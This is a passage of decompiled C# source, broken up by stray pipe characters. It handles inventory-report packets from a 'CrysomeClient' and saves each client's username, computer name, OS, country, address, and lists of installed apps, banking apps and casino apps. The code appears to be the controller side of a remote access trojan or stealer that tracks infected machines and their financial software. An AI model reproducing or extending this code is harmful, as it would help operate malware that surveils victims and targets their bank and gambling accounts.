EnqueueStatus(p.StatusMessage);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleClientInventoryReport(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0020: Expected O, but got Unknown
|
|||
|
|
ClientInventoryReportPacket p = (ClientInventoryReportPacket)packet;
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (current == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
clientInfo.ApplyInventoryJson(p.AppsJson, p.BankJson, p.CasinoJson);
|
|||
|
|
store.UpsertClient(new StoredClientRecord
|
|||
|
|
{
|
|||
|
|
Address = clientInfo.Address,
|
|||
|
|
Port = clientInfo.Port,
|
|||
|
|
UserName = (clientInfo.Username ?? ""),
|
|||
|
|
ComputerName = (clientInfo.ComputerName ?? ""),
|
|||
|
|
OS = (clientInfo.OS ?? ""),
|
|||
|
|
CountryCode = (clientInfo.CountryCode ?? ""),
|
|||
|
|
Group = (clientInfo.Group ?? ""),
|
|||
|
|
Notes = (clientInfo.Notes ?? ""),
|
|||
|
|
IsPinned = clientInfo.IsPinned,
|
|||
|
|
LastSeen = DateTime.Now,
|
|||
|
|
AppsInventoryJson = (p.AppsJson ?? ""),
|
|||
|
|
BankInventoryJson = (p.BankJson ?? ""),
|
|||
|
|
CasinoInventoryJson = (p.CasinoJson ?? "")
|
|||
|
|
});
|
|||
|
|
store.SaveClients();
|
|||
|
|
}
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|